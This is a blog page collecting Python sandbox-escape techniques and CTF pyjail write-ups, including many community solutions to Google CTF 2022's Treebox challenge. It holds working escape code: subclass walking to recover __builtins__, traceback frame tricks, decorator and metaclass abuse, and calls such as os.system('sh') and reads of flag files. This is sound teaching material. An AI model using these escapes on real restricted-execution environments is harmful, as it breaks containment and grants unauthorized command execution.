Python "sandbox" escape (last update: 2022-07-31, created: 2013-05-06) back to the list ↑
So as I've recently learnt Python "sandbox" (as in removing _builtins_, and similar tricks) doesn't work. And it seems this is sometimes useful since different projects tend to use a Python "sandbox" anyway. So I decided to put some links / notes here.
(btw, this is about Python 2.6/2.7, not 3.X)

# Trick 1
If __builtins__ are removed, and import doesn't work, you can use this:

classes = {}.__class__.__base__.__subclasses__()
b = classes[49]()._module.__builtins__
m = b['__import__']('os')
m.system("bla bla")

The 49 there is the index of warnings.catch_warnings class, however do note that the index might be totally different in your environment (and might change depending on what code was executed. I somewhat recall that on a different python version there was another warning-related class which has the same _module thing.
This basically solves the problem of missing import.

# Trick 2
Quite similar to Trick 1 actually, just a different class.

classes = {}.__class__.__base__.__subclasses__()
classes[80]().load_module("os").system("sh")

The 80 in this case is _frozen_importlib.BuiltinImporter (the index may vary of course).

# Trick 2
In this we get __builtins__ back by walking through the exception traceback information. The problem is that you need to be able to catch a named exception (unless you can send in bytecode instead of Python code, then this isn't a problem), and that in some cases the f_back is not defined for some reason.

try:
  ""/5  # Throw TypeError
except Exception as e:  # In bytecode you don't need "Exception".
  builtins = e.__traceback__.tb_frame.f_back.f_globals["__builtins__"]
  builtins.__import__("os").system("sh")

# See also
Bypass Python sandboxes @ HackTricks.

And basically any CTF writeup about python jail/sandbox escape.
http://blog.pnuts.tk/2013/04/plaidctf-pyjail-story-of-pythons-escape.html
http://ctftime.org/task/377/
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
http://www.reddit.com/r/Python/comments/hftnp/ask_rpython_recovering_cleared_globals/
https://nedbatchelder.com/blog/201302/looking_for_python_3_builtins.html
https://www.floyd.ch/?p=584
And also this semi-on-topic post: https://gynvael.coldwind.pl/?id=739



The PlaidCTF 2014 had a _nightmare_ task where you could execute any code, but there was nothing in the environment except stdout.
It was solvable by accessing /proc/self/mem of the Python process and overwriting something. In our case we overwritten the fopen64 address in the .got/.plt with the address of system, and were able to run any command by just using type(stdout)("command").

Write-ups:
https://docs.google.com/document/d/1pgl19sRdNGH1mYNdjoZSRtkAFTn0TQYR7bhUDw99sew/edit#bookmark=id.hub6v8dj4caa (by q3k and me)
http://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/




On the 0x3004 CTF recently there was a different kind of task, which looked like this:



from sys import modules
modules.clear()
del modules

__builtins__.dir = None
eval = None
input = None
execfile = None

LEN_PASS = len(open('./password','r').read()) # Length of Password
                                
I_N_P_U_T = (  ) # only a-z0-9[]() and length of code must be <= 50
                                
P_A_S_S_W_O_R_D = open('./password','r').read()

assert LEN_PASS >= 1
assert LEN_PASS == len(I_N_P_U_T)
for i in range(LEN_PASS):
  if I_N_P_U_T[i] != P_A_S_S_W_O_R_D[i]:
    from sys import exit
    exit() # Wrong

# FLAGGGGGGGGGGGGGGGGGGGGGGGG
print 'Here is your flag:',open('./flag','r').read()


I played with the task quite a lot but in the end didn't manage to solve it. The organizers said there were two solutions, both really sweet:

*Solution 1*:

max(open([list(vars())[5]for(password)in[0]][0]))

It basically creates a new local variable called "password" (it's the newly defined iterator in the for loop), and then uses the name of this variable (that's the list(vars())[5] - the number here might vary; on the CTF server it was 8) as the name to open the ./password file. The max() there is used to read the data from the file; list(open(...))[0] would work as well, but max is shorter.
Lesson: you actually could create new variables here

*Solution 2*:

[chr(53)for(vars()[list(vars())[0]])in[1]]

This one works by replacing the LEN_PASS variable with 1 (this is done by using the the LEN_PASS variable (hint: reference) - that's the vars()[list(vars())[0]] part - as a value-iterator for the [1] array; which basically means it sets it to 1) and then returning always a given character - in this case it was "5" (of course, you had to brute-force this character on the server).
Lesson: list-for can be used to set existing variables, even if they are access in a really strange way


Python's AST

While writing an article on how "Hello World" actually works in Python (written with j00ru and Adam Sawicki, and published in 100th issue of the Polish Programista magazine; we'll publish the English translation on our blogs around September/October 2022) I've played a bit with Python's ast module (as in Abstract Syntax Tree), and decided it would make a cool CTF challenge if I would make some restrictions on AST level and have folks try to bypass it.

Note: This wasn't the first challenge using AST on a CTF of course (though I did think to check only after I've already implemented it). Thankfully other challenges use different restrictions, so there was no collisions. Here are some of them though (send me an e-mail if I've missed some):
- pysandbox @ TokyoWesterns CTF 4th 2018 (example write-up by hawkcurry),
- Tree of danger @ HTB Uni CTF 2021 - Quals (example write-up by Ratman),
- Finance Calculat0r 2021 @ CyberSecurityRumble CTF 2021 (example write-up by Zeyu).

The challenge was published in Google CTF 2022 in the Sandbox category under the name of Treebox and was solved 268 times, making it the easiest (or most popular? ;>) challenge of the CTF.

There were only 3 AST-level restrictions:
- you can't call a function,
- you can't use import,
- and you can't use import from.

What was wonderful about the way players solved it, was that every solution was unique in some way. There were of course clusters of solutions converging around this or that feature, but at the end of the day the solutions were pretty different.

Below are some links to write-ups, as well as ones published by folks on the CTF's discord server after the competition.

# Challenge author's (gynvael's) solution:
class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Write-ups:
- Multiple on CTFTime.org (also linked individually below)
- write-up by Ajmal
- write-up by radl97
- write-up by Om3rR3ich
- write-up by nikosChalk
- write-up by officialaimm
- write-up by Robin Jadoul
- write-up by kusano_k (JP)
- write-up by DomDom (KR)
- write-up by nop

Video write-ups:
- How to solve Python Sandbox Capture The Flag challenges? by CTF School

Solutions posted on #sandbox and #writeups channel after the CTF was over. They are chronologically in reverse order:
Note that since these where also heavily discussed it was at times a bit hard to figure out whether the solution was made by the person posting it, or whether that was an iteration/improvement on someone else's solution. Given the above, if I misattributed someone's solution, please let me know and I will correct it.

# 温柔小🐖's solution
os.environ.__class__.__contains__ = os.system
'cat flag' in os.environ

# crazyman's solution
tree.__class__.__getitem__ = eval
tree["__import__('os').system('cat flag')"]

# Quenouille's solution
license._Printer__filenames = ['flag']
sys.stderr.flush = license
x = 6/0

# Finlay's solution
class Meta(type):
  __add__ = exec
class Test(metaclass=Meta):
  pass
Test + 'import os; os.system("cat flag")'

# Ciarán's solution
tree.__class__.__str__=breakpoint
f"{tree}"

# Solution Theos posted with a disclaimer that it's not his
@exec
@input
class x:0

# Blupper's solution
sys.stdout.flush=sys.breakpointhook

# Quasar's solution (based on Blupper's solution)
sys.stdout.flush=breakpoint

# A~Z's solution
@os.system
@(lambda _: 'sh')
class _: pass

# [organizers] Robin_Jadoul solution
@exec
@input
class X: pass

# voxal's solution
license._Printer__filenames = ["flag"]
license._Printer__lines = False
class Esc(Exception): __init__ = license
raise Esc

# beepboop's solution
filename_arg = lambda x: "flag"
read_fn = lambda x: x.read

@read_fn
@open
@filename_arg
def get_read_fn():
    pass

number_arg = lambda x: 1000

@print
@get_read_fn
@number_arg
def print_read_fn():
    pass

# Theos's solution
@__import__
@lambda x: x.__name__
class sys: ...
@eval
@lambda x: x.x
class x:
  x = "os.system('cat flag')"

# fourleggedoctopus's solution
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

# dfyz's solution
class Meta(type):
    __getitem__ = os.system

class X(metaclass=Meta):
    pass

X['cat flag']

# dogelition_man's solution
class MyClass(type):
    __instancecheck__ = os.system

class MyClass2(metaclass=MyClass):
    pass

match "/bin/sh":
    case MyClass2():
        pass

# Trixter's solution
class A(BaseException):
    def __init__(self):
        self.__class__.__add__ = os.system

    def __str__(self):
        return self + "cat flag"

raise A

# harrier's solution
global os
class M(type):
    self = "ls"
    pass
class A(metaclass=M):
    pass
M.__add__ = os.system
assert f"{A + 'sh'}" == True

# OfficialBenko's solution
class Exploit(BaseException):
    pass

Exploit.__eq__ = open
Exploit.__gt__ = print

try:
    raise Exploit
except Exploit as exploit:
    a = exploit == "flag"
    Exploit.__lt__ = a.read
    b = exploit < None
    exploit > b

# ContronThePanda's solution
def os_str(x): return 'os'

@__import__
@os_str
def os(): pass

def cmd_str(x): return 'cat flag'

@os.system
@cmd_str
def ret(): pass

# aza's solution:
class T(BaseException):
    __getitem__=os.system

try:
    raise T
except T as e:
    e['cat flag']

# splitline's solution:
@eval
@'__import__("os").system("sh")'.format
class _:pass

# Ninja3047's solution:
class cat("cat", "flag", metaclass=os.execvpe): pass 

# None4U's solution:
ast.Module.__format__ = eval
f"{tree:print(open('./flag').read())}"

# None4U's second solution:
ast.Module.__format__=os.system
f"{tree:cat flag}"
【 design & art by Xa / Gynvael Coldwind 】 【 logo font (birdman regular) by utopiafonts / Dale Harris 】